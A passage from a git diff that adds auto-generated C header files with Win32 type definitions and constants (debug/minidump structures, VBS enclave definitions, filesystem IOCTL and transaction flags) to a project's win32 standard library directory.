DISPATCHER_CONTEXT; + +typedef struct _IMAGE_COFF_SYMBOLS_HEADER { + unsigned int NumberOfSymbols; + unsigned int LvaToFirstSymbol; + unsigned int NumberOfLinenumbers; + unsigned int LvaToFirstLinenumber; + unsigned int RvaToFirstByteOfCode; + unsigned int RvaToLastByteOfCode; + unsigned int RvaToFirstByteOfData; + unsigned int RvaToLastByteOfData; +} IMAGE_COFF_SYMBOLS_HEADER; + +typedef struct _MINIDUMP_LOCATION_DESCRIPTOR { + unsigned int DataSize; + unsigned int Rva; +} MINIDUMP_LOCATION_DESCRIPTOR; + +typedef struct _STACKFRAME_EX { + void* AddrPC; + void* AddrReturn; + void* AddrFrame; + void* AddrStack; + void* AddrBStore; + void* FuncTableEntry; + unsigned long long Params[4]; + BOOL Far; + BOOL Virtual; + unsigned long long Reserved[3]; + void* KdHelp; + unsigned int StackFrameSize; + unsigned int InlineFrameContext; +} STACKFRAME_EX; + +typedef struct _MINIDUMP_CALLBACK_INFORMATION { + void* CallbackRoutine; + void* CallbackParam; +} MINIDUMP_CALLBACK_INFORMATION; + +typedef struct _MINIDUMP_CALLBACK_INFORMATION { + void* CallbackRoutine; + void* CallbackParam; +} MINIDUMP_CALLBACK_INFORMATION; + +typedef struct _IMAGEHLP_STACK_FRAME { + unsigned long long InstructionOffset; + unsigned long long ReturnOffset; + unsigned long long FrameOffset; + unsigned long long StackOffset; + unsigned long long BackingStoreOffset; + unsigned long long FuncTableEntry; + unsigned long long Params[4]; + unsigned long long Reserved[5]; + BOOL Virtual; + unsigned int Reserved2; +} IMAGEHLP_STACK_FRAME; + +typedef struct _MINIDUMP_SYSTEM_BASIC_PERFORMANCE_INFORMATION { + unsigned long long AvailablePages; + unsigned long long CommittedPages; + unsigned long long CommitLimit; + unsigned long long PeakCommitment; +} MINIDUMP_SYSTEM_BASIC_PERFORMANCE_INFORMATION; + +typedef struct _MINIDUMP_HANDLE_OBJECT_INFORMATION { + unsigned int NextInfoRva; + unsigned int InfoType; + unsigned int SizeOfInfo; +} MINIDUMP_HANDLE_OBJECT_INFORMATION; + +typedef struct _PHYSICAL_MEMORY_RUN64 { + unsigned long long BasePage; + unsigned long long PageCount; +} PHYSICAL_MEMORY_RUN64; + +typedef struct _IMAGEHLP_LINEW { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned long long Address; +} IMAGEHLP_LINEW; + +typedef struct _WHEA_AER_ROOTPORT_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + unsigned int BusNumber; + void* Slot; + unsigned short DeviceControl; + void* Flags; + unsigned int UncorrectableErrorMask; + unsigned int UncorrectableErrorSeverity; + unsigned int CorrectableErrorMask; + unsigned int AdvancedCapsAndControl; + unsigned int RootErrorCommand; +} WHEA_AER_ROOTPORT_DESCRIPTOR; + +typedef struct _LOAD_DLL_DEBUG_INFO { + void* hFile; + void* lpBaseOfDll; + unsigned int dwDebugInfoFileOffset; + unsigned int nDebugInfoSize; + void* lpImageName; + unsigned short fUnicode; +} LOAD_DLL_DEBUG_INFO; + +typedef struct _WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER_V1 { + unsigned int Version; + void* SourceGuid; + unsigned short LogTag; + unsigned char Reserved[6]; + void* Initialize; + void* Uninitialize; +} WHEA_ERROR_SOURCE_CONFIGURATION_DEVICE_DRIVER_V1; + +typedef struct _DUMP_HEADER32 { + unsigned int Signature; + unsigned int ValidDump; + unsigned int MajorVersion; + unsigned int MinorVersion; + unsigned int DirectoryTableBase; + unsigned int PfnDataBase; + unsigned int PsLoadedModuleList; + unsigned int PsActiveProcessHead; + unsigned int MachineImageType; + unsigned int NumberProcessors; + unsigned int BugCheckCode; + unsigned int BugCheckParameter1; + unsigned int BugCheckParameter2; + unsigned int BugCheckParameter3; + unsigned int BugCheckParameter4; + unsigned char VersionUser[32]; + unsigned char PaeEnabled; + unsigned char KdSecondaryVersion; + unsigned char Spare3[2]; + unsigned int KdDebuggerDataBlock; + void* Anonymous; + unsigned char ContextRecord[1200]; + void* Exception; + unsigned char Comment[128]; + void* Attributes; + unsigned int BootId; + unsigned char _reserved0[1760]; + unsigned int DumpType; + unsigned int MiniDumpFields; + unsigned int SecondaryDataState; + unsigned int ProductType; + unsigned int SuiteMask; + unsigned int WriterStatus; + long long RequiredDumpSpace; + unsigned char _reserved2[16]; + long long SystemUpTime; + long long SystemTime; + unsigned char _reserved3[56]; +} DUMP_HEADER32; + +typedef struct _MINIDUMP_SYSTEM_INFO { + void* ProcessorArchitecture; + unsigned short ProcessorLevel; + unsigned short ProcessorRevision; + void* Anonymous1; + unsigned int MajorVersion; + unsigned int MinorVersion; + unsigned int BuildNumber; + void* PlatformId; + unsigned int CSDVersionRva; + void* Anonymous2; + void* Cpu; +} MINIDUMP_SYSTEM_INFO; + +typedef struct _XSAVE_FORMAT { + unsigned short ControlWord; + unsigned short StatusWord; + unsigned char TagWord; + unsigned char Reserved1; + unsigned short ErrorOpcode; + unsigned int ErrorOffset; + unsigned short ErrorSelector; + unsigned short Reserved2; + unsigned int DataOffset; + unsigned short DataSelector; + unsigned short Reserved3; + unsigned int MxCsr; + unsigned int MxCsr_Mask; + void* FloatRegisters[8]; + void* XmmRegisters[16]; + unsigned char Reserved4[96]; +} XSAVE_FORMAT; + +typedef struct _XSAVE_FORMAT { + unsigned short ControlWord; + unsigned short StatusWord; + unsigned char TagWord; + unsigned char Reserved1; + unsigned short ErrorOpcode; + unsigned int ErrorOffset; + unsigned short ErrorSelector; + unsigned short Reserved2; + unsigned int DataOffset; + unsigned short DataSelector; + unsigned short Reserved3; + unsigned int MxCsr; + unsigned int MxCsr_Mask; + void* FloatRegisters[8]; + void* XmmRegisters[8]; + unsigned char Reserved4[224]; +} XSAVE_FORMAT; + +typedef struct _IMAGE_DEBUG_INFORMATION { + void* List; + unsigned int ReservedSize; + void* ReservedMappedBase; + unsigned short ReservedMachine; + unsigned short ReservedCharacteristics; + unsigned int ReservedCheckSum; + unsigned int ImageBase; + unsigned int SizeOfImage; + unsigned int ReservedNumberOfSections; + void* ReservedSections; + unsigned int ReservedExportedNamesSize; + void* ReservedExportedNames; + unsigned int ReservedNumberOfFunctionTableEntries; + void* ReservedFunctionTableEntries; + unsigned int ReservedLowestFunctionStartingAddress; + unsigned int ReservedHighestFunctionEndingAddress; + unsigned int ReservedNumberOfFpoTableEntries; + void* ReservedFpoTableEntries; + unsigned int SizeOfCoffSymbols; + void* CoffSymbols; + unsigned int ReservedSizeOfCodeViewSymbols; + void* ReservedCodeViewSymbols; + void* ImageFilePath; + void* ImageFileName; + void* ReservedDebugFilePath; + unsigned int ReservedTimeDateStamp; + BOOL ReservedRomImage; + void* ReservedDebugDirectory; + unsigned int ReservedNumberOfDebugDirectories; + unsigned int ReservedOriginalFunctionTableBaseAddress; + unsigned int Reserved[2]; +} IMAGE_DEBUG_INFORMATION; + +typedef struct _MINIDUMP_THREAD_LIST { + unsigned int NumberOfThreads; + void* Threads[1]; +} MINIDUMP_THREAD_LIST; + +typedef struct _IMAGEHLP_LINEW64 { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned long long Address; +} IMAGEHLP_LINEW64; + +typedef struct _IMAGE_SECTION_HEADER { + unsigned char Name[8]; + void* Misc; + unsigned int VirtualAddress; + unsigned int SizeOfRawData; + unsigned int PointerToRawData; + unsigned int PointerToRelocations; + unsigned int PointerToLinenumbers; + unsigned short NumberOfRelocations; + unsigned short NumberOfLinenumbers; + void* Characteristics; +} IMAGE_SECTION_HEADER; + +typedef struct _IMAGE_LOAD_CONFIG_DIRECTORY64 { + unsigned int Size; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned int GlobalFlagsClear; + unsigned int GlobalFlagsSet; + unsigned int CriticalSectionDefaultTimeout; + unsigned long long DeCommitFreeBlockThreshold; + unsigned long long DeCommitTotalFreeThreshold; + unsigned long long LockPrefixTable; + unsigned long long MaximumAllocationSize; + unsigned long long VirtualMemoryThreshold; + unsigned long long ProcessAffinityMask; + unsigned int ProcessHeapFlags; + unsigned short CSDVersion; + unsigned short DependentLoadFlags; + unsigned long long EditList; + unsigned long long SecurityCookie; + unsigned long long SEHandlerTable; + unsigned long long SEHandlerCount; + unsigned long long GuardCFCheckFunctionPointer; + unsigned long long GuardCFDispatchFunctionPointer; + unsigned long long GuardCFFunctionTable; + unsigned long long GuardCFFunctionCount; + unsigned int GuardFlags; + void* CodeIntegrity; + unsigned long long GuardAddressTakenIatEntryTable; + unsigned long long GuardAddressTakenIatEntryCount; + unsigned long long GuardLongJumpTargetTable; + unsigned long long GuardLongJumpTargetCount; + unsigned long long DynamicValueRelocTable; + unsigned long long CHPEMetadataPointer; + unsigned long long GuardRFFailureRoutine; + unsigned long long GuardRFFailureRoutineFunctionPointer; + unsigned int DynamicValueRelocTableOffset; + unsigned short DynamicValueRelocTableSection; + unsigned short Reserved2; + unsigned long long GuardRFVerifyStackPointerFunctionPointer; + unsigned int HotPatchTableOffset; + unsigned int Reserved3; + unsigned long long EnclaveConfigurationPointer; + unsigned long long VolatileMetadataPointer; + unsigned long long GuardEHContinuationTable; + unsigned long long GuardEHContinuationCount; + unsigned long long GuardXFGCheckFunctionPointer; + unsigned long long GuardXFGDispatchFunctionPointer; + unsigned long long GuardXFGTableDispatchFunctionPointer; + unsigned long long CastGuardOsDeterminedFailureMode; + unsigned long long GuardMemcpyFunctionPointer; + unsigned long long UmaFunctionPointers; +} IMAGE_LOAD_CONFIG_DIRECTORY64; + +typedef struct _SOURCEFILE { + unsigned long long ModBase; + void* FileName; +} SOURCEFILE; + +typedef struct _IMAGEHLP_MODULE { + unsigned int SizeOfStruct; + unsigned int BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned char ModuleName[32]; + unsigned char ImageName[256]; + unsigned char LoadedImageName[256]; +} IMAGEHLP_MODULE; + +typedef struct _MINIDUMP_STRING { + unsigned int Length; + unsigned short Buffer[1]; +} MINIDUMP_STRING; + +typedef struct _IMAGEHLP_CBA_READ_MEMORY { + unsigned long long addr; + void* buf; + unsigned int bytes; + void* bytesread; +} IMAGEHLP_CBA_READ_MEMORY; + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION64 { + unsigned int ThreadId; + unsigned long long ExceptionRecord; + unsigned long long ContextRecord; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION64; + +typedef struct _SYMSRV_INDEX_INFO { + unsigned int sizeofstruct; + unsigned char file[261]; + BOOL stripped; + unsigned int timestamp; + unsigned int size; + unsigned char dbgfile[261]; + unsigned char pdbfile[261]; + void* guid; + unsigned int sig; + unsigned int age; +} SYMSRV_INDEX_INFO; + +typedef struct _IMAGEHLP_SYMBOL64_PACKAGE { + void* sym; + unsigned char name[2001]; +} IMAGEHLP_SYMBOL64_PACKAGE; + diff --git a/stdlib/win32/environment.h b/stdlib/win32/environment.h new file mode 100644 index 0000000..bcc396b --- /dev/null +++ b/stdlib/win32/environment.h @@ -0,0 +1,154 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Environment`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define ENCLAVE_RUNTIME_POLICY_ALLOW_FULL_DEBUG 0x1 +#define ENCLAVE_RUNTIME_POLICY_ALLOW_DYNAMIC_DEBUG 0x2 +#define ENCLAVE_UNSEAL_FLAG_STALE_KEY 0x1 +#define ENCLAVE_FLAG_FULL_DEBUG_ENABLED 0x1 +#define ENCLAVE_FLAG_DYNAMIC_DEBUG_ENABLED 0x2 +#define ENCLAVE_FLAG_DYNAMIC_DEBUG_ACTIVE 0x4 +#define VBS_ENCLAVE_REPORT_PKG_HEADER_VERSION_CURRENT 0x1 +#define VBS_ENCLAVE_REPORT_SIGNATURE_SCHEME_SHA256_RSA_PSS_SHA256 0x1 +#define VBS_ENCLAVE_REPORT_VERSION_CURRENT 0x1 +#define ENCLAVE_REPORT_DATA_LENGTH 0x40 +#define VBS_ENCLAVE_VARDATA_INVALID 0x0 +#define VBS_ENCLAVE_VARDATA_MODULE 0x1 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_MEASUREMENT 0x1 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_FAMILY_ID 0x2 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_IMAGE_ID 0x4 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_DEBUG_KEY 0x8 +#define ENCLAVE_IDENTITY_POLICY_SEAL_INVALID 0 +#define ENCLAVE_IDENTITY_POLICY_SEAL_EXACT_CODE 1 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_PRIMARY_CODE 2 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_IMAGE 3 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_FAMILY 4 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_AUTHOR 5 + +typedef struct _TRUSTLET_BINDING_DATA { + unsigned long long TrustletIdentity; + void* TrustletSessionId; + unsigned int TrustletSvn; + unsigned int Reserved1; + unsigned long long Reserved2; +} TRUSTLET_BINDING_DATA; + +typedef struct _VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR64 { + unsigned long long ThreadContext[4]; + unsigned long long EntryPoint; + unsigned long long StackPointer; + unsigned long long ExceptionEntryPoint; + unsigned long long ExceptionStack; + unsigned int ExceptionActive; +} VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR64; + +typedef struct _VBS_BASIC_ENCLAVE_EXCEPTION_AMD64 { + unsigned int ExceptionCode; + unsigned int NumberParameters; + unsigned long long ExceptionInformation[3]; + unsigned long long ExceptionRAX; + unsigned long long ExceptionRCX; + unsigned long long ExceptionRIP; + unsigned long long ExceptionRFLAGS; + unsigned long long ExceptionRSP; +} VBS_BASIC_ENCLAVE_EXCEPTION_AMD64; + +typedef struct _VBS_ENCLAVE_REPORT_VARDATA_HEADER { + unsigned int DataType; + unsigned int Size; +} VBS_ENCLAVE_REPORT_VARDATA_HEADER; + +typedef struct _VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR32 { + unsigned int ThreadContext[4]; + unsigned int EntryPoint; + unsigned int StackPointer; + unsigned int ExceptionEntryPoint; + unsigned int ExceptionStack; + unsigned int ExceptionActive; +} VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR32; + +typedef struct _VBS_BASIC_ENCLAVE_SYSCALL_PAGE { + void* ReturnFromEnclave; + void* ReturnFromException; + void* TerminateThread; + void* InterruptThread; + void* CommitPages; + void* DecommitPages; + void* ProtectPages; + void* CreateThread; + void* GetEnclaveInformation; + void* GenerateKey; + void* GenerateReport; + void* VerifyReport; + void* GenerateRandomData; +} VBS_BASIC_ENCLAVE_SYSCALL_PAGE; + +typedef struct _VBS_ENCLAVE_REPORT_PKG_HEADER { + unsigned int PackageSize; + unsigned int Version; + unsigned int SignatureScheme; + unsigned int SignedStatementSize; + unsigned int SignatureSize; + unsigned int Reserved; +} VBS_ENCLAVE_REPORT_PKG_HEADER; + +typedef struct _PS_TRUSTLET_TKSESSION_ID { + unsigned long long SessionId[4]; +} PS_TRUSTLET_TKSESSION_ID; + +typedef struct _ENCLAVE_INFORMATION { + unsigned int EnclaveType; + unsigned int Reserved; + void* BaseAddress; + unsigned long long Size; + void* Identity; +} ENCLAVE_INFORMATION; + +typedef struct _ENCLAVE_IDENTITY { + unsigned char OwnerId[32]; + unsigned char UniqueId[32]; + unsigned char AuthorId[32]; + unsigned char FamilyId[16]; + unsigned char ImageId[16]; + unsigned int EnclaveSvn; + unsigned int SecureKernelSvn; + unsigned int PlatformSvn; + unsigned int Flags; + unsigned int SigningLevel; + unsigned int EnclaveType; +} ENCLAVE_IDENTITY; + +typedef struct _ENCLAVE_VBS_BASIC_KEY_REQUEST { + unsigned int RequestSize; + unsigned int Flags; + unsigned int EnclaveSVN; + unsigned int SystemKeyID; + unsigned int CurrentSystemKeyID; +} ENCLAVE_VBS_BASIC_KEY_REQUEST; + +typedef struct _VBS_ENCLAVE_REPORT { + unsigned int ReportSize; + unsigned int ReportVersion; + unsigned char EnclaveData[64]; + void* EnclaveIdentity; +} VBS_ENCLAVE_REPORT; + +typedef struct _VBS_ENCLAVE_REPORT_MODULE { + void* Header; + unsigned char UniqueId[32]; + unsigned char AuthorId[32]; + unsigned char FamilyId[16]; + unsigned char ImageId[16]; + unsigned int Svn; + unsigned short ModuleName[1]; +} VBS_ENCLAVE_REPORT_MODULE; + diff --git a/stdlib/win32/filesystem.h b/stdlib/win32/filesystem.h new file mode 100644 index 0000000..95268cc --- /dev/null +++ b/stdlib/win32/filesystem.h @@ -0,0 +1,2653 @@ +// Generated by entc-win32gen from `Windows.Win32.Storage.FileSystem`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define MAXIMUM_REPARSE_DATA_BUFFER_SIZE 0x4000 +// SKIPPED const EA_CONTAINER_NAME: non-integer constant +// SKIPPED const EA_CONTAINER_SIZE: non-integer constant +// SKIPPED const CLFS_BASELOG_EXTENSION: non-integer constant +#define CLFS_FLAG_REENTRANT_FILE_SYSTEM 0x8 +#define CLFS_FLAG_NON_REENTRANT_FILTER 0x10 +#define CLFS_FLAG_REENTRANT_FILTER 0x20 +#define CLFS_FLAG_IGNORE_SHARE_ACCESS 0x40 +#define CLFS_FLAG_READ_IN_PROGRESS 0x80 +#define CLFS_FLAG_MINIFILTER_LEVEL 0x100 +#define CLFS_FLAG_HIDDEN_SYSTEM_LOG 0x200 +#define CLFS_MARSHALLING_FLAG_NONE 0x0 +#define CLFS_MARSHALLING_FLAG_DISABLE_BUFF_INIT 0x1 +#define CLFS_FLAG_FILTER_INTERMEDIATE_LEVEL 0x10 +#define CLFS_FLAG_FILTER_TOP_LEVEL 0x20 +// SKIPPED const CLFS_CONTAINER_STREAM_PREFIX: non-integer constant +// SKIPPED const CLFS_CONTAINER_RELATIVE_PREFIX: non-integer constant +#define TRANSACTION_MANAGER_VOLATILE 0x1 +#define TRANSACTION_MANAGER_COMMIT_DEFAULT 0x0 +#define TRANSACTION_MANAGER_COMMIT_SYSTEM_VOLUME 0x2 +#define TRANSACTION_MANAGER_COMMIT_SYSTEM_HIVES 0x4 +#define TRANSACTION_MANAGER_COMMIT_LOWEST 0x8 +#define TRANSACTION_MANAGER_CORRUPT_FOR_RECOVERY 0x10 +#define TRANSACTION_MANAGER_CORRUPT_FOR_PROGRESS 0x20 +#define TRANSACTION_MANAGER_MAXIMUM_OPTION 0x3f +#define TRANSACTION_DO_NOT_PROMOTE 0x1 +#define TRANSACTION_MAXIMUM_OPTION 0x1 +#define RESOURCE_MANAGER_VOLATILE 0x1 +#define RESOURCE_MANAGER_COMMUNICATION 0x2 +#define RESOURCE_MANAGER_MAXIMUM_OPTION 0x3 +#define CRM_PROTOCOL_EXPLICIT_MARSHAL_ONLY 0x1 +#define CRM_PROTOCOL_DYNAMIC_MARSHAL_INFO 0x2 +#define CRM_PROTOCOL_MAXIMUM_OPTION 0x3 +#define ENLISTMENT_SUPERIOR 0x1 +#define ENLISTMENT_MAXIMUM_OPTION 0x1 +#define TRANSACTION_NOTIFY_MASK 0x3fffffff +#define TRANSACTION_NOTIFY_PREPREPARE 0x1 +#define TRANSACTION_NOTIFY_PREPARE 0x2 +#define TRANSACTION_NOTIFY_COMMIT 0x4 +#define TRANSACTION_NOTIFY_ROLLBACK 0x8 +#define TRANSACTION_NOTIFY_PREPREPARE_COMPLETE 0x10 +#define TRANSACTION_NOTIFY_PREPARE_COMPLETE 0x20 +#define TRANSACTION_NOTIFY_COMMIT_COMPLETE 0x40 +#define TRANSACTION_NOTIFY_ROLLBACK_COMPLETE 0x80 +#define TRANSACTION_NOTIFY_RECOVER 0x100 +#define TRANSACTION_NOTIFY_SINGLE_PHASE_COMMIT 0x200 +#define TRANSACTION_NOTIFY_DELEGATE_COMMIT 0x400 +#define TRANSACTION_NOTIFY_RECOVER_QUERY 0x800 +#define TRANSACTION_NOTIFY_ENLIST_PREPREPARE 0x1000 +#define TRANSACTION_NOTIFY_LAST_RECOVER 0x2000 +#define TRANSACTION_NOTIFY_INDOUBT 0x4000 +#define TRANSACTION_NOTIFY_PROPAGATE_PULL 0x8000 +#define TRANSACTION_NOTIFY_PROPAGATE_PUSH 0x10000 +#define TRANSACTION_NOTIFY_MARSHAL 0x20000 +#define TRANSACTION_NOTIFY_ENLIST_MASK 0x40000 +#define TRANSACTION_NOTIFY_RM_DISCONNECTED 0x1000000 +#define TRANSACTION_NOTIFY_TM_ONLINE 0x2000000 +#define TRANSACTION_NOTIFY_COMMIT_REQUEST 0x4000000 +#define TRANSACTION_NOTIFY_PROMOTE 0x8000000 +#define TRANSACTION_NOTIFY_PROMOTE_NEW 0x10000000 +#define TRANSACTION_NOTIFY_REQUEST_OUTCOME 0x20000000 +#define TRANSACTION_NOTIFY_COMMIT_FINALIZE 0x40000000 +// SKIPPED const TRANSACTIONMANAGER_OBJECT_PATH: non-integer constant +// SKIPPED const TRANSACTION_OBJECT_PATH: non-integer constant +// SKIPPED const ENLISTMENT_OBJECT_PATH: non-integer constant +// SKIPPED const RESOURCE_MANAGER_OBJECT_PATH: non-integer constant +#define TRANSACTION_NOTIFICATION_TM_ONLINE_FLAG_IS_CLUSTERED 0x1 +#define KTM_MARSHAL_BLOB_VERSION_MAJOR 0x1 +#define KTM_MARSHAL_BLOB_VERSION_MINOR 0x1 +#define MAX_TRANSACTION_DESCRIPTION_LENGTH 0x40 +#define MAX_RESOURCEMANAGER_DESCRIPTION_LENGTH 0x40 +#define IOCTL_VOLUME_BASE 0x56 +#define IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS 0x560000 +#define IOCTL_VOLUME_ONLINE 0x56c008 +#define IOCTL_VOLUME_OFFLINE 0x56c00c +#define IOCTL_VOLUME_IS_CLUSTERED 0x560030 +#define IOCTL_VOLUME_GET_GPT_ATTRIBUTES 0x560038 +#define IOCTL_VOLUME_SUPPORTS_ONLINE_OFFLINE 0x560004 +#define IOCTL_VOLUME_IS_OFFLINE 0x560010 +#define IOCTL_VOLUME_IS_IO_CAPABLE 0x560014 +#define IOCTL_VOLUME_QUERY_FAILOVER_SET 0x560018 +#define IOCTL_VOLUME_QUERY_VOLUME_NUMBER 0x56001c +#define IOCTL_VOLUME_LOGICAL_TO_PHYSICAL 0x560020 +#define IOCTL_VOLUME_PHYSICAL_TO_LOGICAL 0x560024 +#define IOCTL_VOLUME_IS_PARTITION 0x560028 +#define IOCTL_VOLUME_READ_PLEX 0x56402e +#define IOCTL_VOLUME_SET_GPT_ATTRIBUTES 0x560034 +#define IOCTL_VOLUME_GET_BC_PROPERTIES 0x56403c +#define IOCTL_VOLUME_ALLOCATE_BC_STREAM 0x56c040 +#define IOCTL_VOLUME_FREE_BC_STREAM 0x56c044 +#define IOCTL_VOLUME_BC_VERSION 0x1 +#define IOCTL_VOLUME_IS_DYNAMIC 0x560048 +#define IOCTL_VOLUME_PREPARE_FOR_CRITICAL_IO 0x56c04c +#define IOCTL_VOLUME_QUERY_ALLOCATION_HINT 0x564052 +#define IOCTL_VOLUME_UPDATE_PROPERTIES 0x560054 +#define IOCTL_VOLUME_QUERY_MINIMUM_SHRINK_SIZE 0x564058 +#define IOCTL_VOLUME_PREPARE_FOR_SHRINK 0x56c05c +#define IOCTL_VOLUME_IS_CSV 0x560060 +#define IOCTL_VOLUME_POST_ONLINE 0x56c064 +#define IOCTL_VOLUME_GET_CSVBLOCKCACHE_CALLBACK 0x56c068 +#define CSV_BLOCK_CACHE_CALLBACK_VERSION 0x1 +#define CSV_BLOCK_AND_FILE_CACHE_CALLBACK_VERSION 0x2 +#define _FT_TYPES_DEFINITION_ 0x1 +#define CLFS_MGMT_POLICY_VERSION 0x1 +#define LOG_POLICY_OVERWRITE 0x1 +#define LOG_POLICY_PERSIST 0x2 +#define CLFS_MGMT_CLIENT_REGISTRATION_VERSION 0x1 +#define DISKQUOTA_STATE_DISABLED 0x0 +#define DISKQUOTA_STATE_TRACK 0x1 +#define DISKQUOTA_STATE_ENFORCE 0x2 +#define DISKQUOTA_STATE_MASK 0x3 +#define DISKQUOTA_FILESTATE_INCOMPLETE 0x100 +#define DISKQUOTA_FILESTATE_REBUILDING 0x200 +#define DISKQUOTA_FILESTATE_MASK 0x300 +#define DISKQUOTA_LOGFLAG_USER_THRESHOLD 0x1 +#define DISKQUOTA_LOGFLAG_USER_LIMIT 0x2 +#define DISKQUOTA_USER_ACCOUNT_RESOLVED 0x0 +#define DISKQUOTA_USER_ACCOUNT_UNAVAILABLE 0x1 +#define DISKQUOTA_USER_ACCOUNT_DELETED 0x2 +#define DISKQUOTA_USER_ACCOUNT_INVALID 0x3 +#define DISKQUOTA_USER_ACCOUNT_UNKNOWN 0x4 +#define DISKQUOTA_USER_ACCOUNT_UNRESOLVED 0x5 +#define INVALID_FILE_SIZE 0xffffffff +#define INVALID_SET_FILE_POINTER 0xffffffff +#define INVALID_FILE_ATTRIBUTES 0xffffffff +#define SHARE_NETNAME_PARMNUM 0x1 +#define SHARE_TYPE_PARMNUM 0x3 +#define SHARE_REMARK_PARMNUM 0x4 +#define SHARE_PERMISSIONS_PARMNUM 0x5 +#define SHARE_MAX_USES_PARMNUM 0x6 +#define SHARE_CURRENT_USES_PARMNUM 0x7 +#define SHARE_PATH_PARMNUM 0x8 +#define SHARE_PASSWD_PARMNUM 0x9 +#define SHARE_FILE_SD_PARMNUM 0x1f5 +#define SHARE_SERVER_PARMNUM 0x1f7 +#define SHARE_QOS_POLICY_PARMNUM 0x1f8 +#define SHI1_NUM_ELEMENTS 0x4 +#define SHI2_NUM_ELEMENTS 0xa +#define STYPE_RESERVED1 0x1000000 +#define STYPE_RESERVED2 0x2000000 +#define STYPE_RESERVED3 0x4000000 +#define STYPE_RESERVED4 0x8000000 +#define STYPE_RESERVED5 0x100000 +#define STYPE_RESERVED_ALL 0x3fffff00 +#define SHI_USES_UNLIMITED 0xffffffff +#define SHI1005_FLAGS_DFS 0x1 +#define SHI1005_FLAGS_DFS_ROOT 0x2 +#define CSC_MASK_EXT 0x2030 +#define CSC_MASK 0x30 +#define CSC_CACHE_MANUAL_REINT 0x0 +#define CSC_CACHE_AUTO_REINT 0x10 +#define CSC_CACHE_VDO 0x20 +#define CSC_CACHE_NONE 0x30 +#define SHI1005_FLAGS_RESTRICT_EXCLUSIVE_OPENS 0x100 +#define SHI1005_FLAGS_FORCE_SHARED_DELETE 0x200 +#define SHI1005_FLAGS_ALLOW_NAMESPACE_CACHING 0x400 +#define SHI1005_FLAGS_ACCESS_BASED_DIRECTORY_ENUM 0x800 +#define SHI1005_FLAGS_FORCE_LEVELII_OPLOCK 0x1000 +#define SHI1005_FLAGS_ENABLE_HASH 0x2000 +#define SHI1005_FLAGS_ENABLE_CA 0x4000 +#define SHI1005_FLAGS_ENCRYPT_DATA 0x8000 +#define SHI1005_FLAGS_RESERVED 0x10000 +#define SHI1005_FLAGS_DISABLE_CLIENT_BUFFERING 0x20000 +#define SHI1005_FLAGS_IDENTITY_REMOTING 0x40000 +#define SHI1005_FLAGS_CLUSTER_MANAGED 0x80000 +#define SHI1005_FLAGS_COMPRESS_DATA 0x100000 +#define SHI1005_FLAGS_ISOLATED_TRANSPORT 0x200000 +#define SHI1005_FLAGS_DISABLE_DIRECTORY_HANDLE_LEASING 0x400000 +#define SESI1_NUM_ELEMENTS 0x8 +#define SESI2_NUM_ELEMENTS 0x9 +#define STATSOPT_CLR 0x1 +#define LZERROR_BADINHANDLE -1 +#define LZERROR_BADOUTHANDLE -2 +#define LZERROR_READ -3 +#define LZERROR_WRITE -4 +#define LZERROR_GLOBALLOC -5 +#define LZERROR_GLOBLOCK -6 +#define LZERROR_BADVALUE -7 +#define LZERROR_UNKNOWNALG -8 +#define NTMS_OBJECTNAME_LENGTH 0x40 +#define NTMS_DESCRIPTION_LENGTH 0x7f +#define NTMS_DEVICENAME_LENGTH 0x40 +#define NTMS_SERIALNUMBER_LENGTH 0x20 +#define NTMS_REVISION_LENGTH 0x20 +#define NTMS_BARCODE_LENGTH 0x40 +#define NTMS_SEQUENCE_LENGTH 0x20 +#define NTMS_VENDORNAME_LENGTH 0x80 +#define NTMS_PRODUCTNAME_LENGTH 0x80 +#define NTMS_USERNAME_LENGTH 0x40 +#define NTMS_APPLICATIONNAME_LENGTH 0x40 +#define NTMS_COMPUTERNAME_LENGTH 0x40 +#define NTMS_I1_MESSAGE_LENGTH 0x7f +#define NTMS_MESSAGE_LENGTH 0x100 +#define NTMS_POOLHIERARCHY_LENGTH 0x200 +#define NTMS_OMIDLABELID_LENGTH 0xff +#define NTMS_OMIDLABELTYPE_LENGTH 0x40 +#define NTMS_OMIDLABELINFO_LENGTH 0x100 +#define NTMS_MAXATTR_LENGTH 0x10000 +#define NTMS_MAXATTR_NAMELEN 0x20 +#define NTMSMLI_MAXTYPE 0x40 +#define NTMSMLI_MAXIDSIZE 0x100 +#define NTMSMLI_MAXAPPDESCR 0x100 +#define TXF_LOG_RECORD_GENERIC_TYPE_COMMIT 0x1 +#define TXF_LOG_RECORD_GENERIC_TYPE_ABORT 0x2 +#define 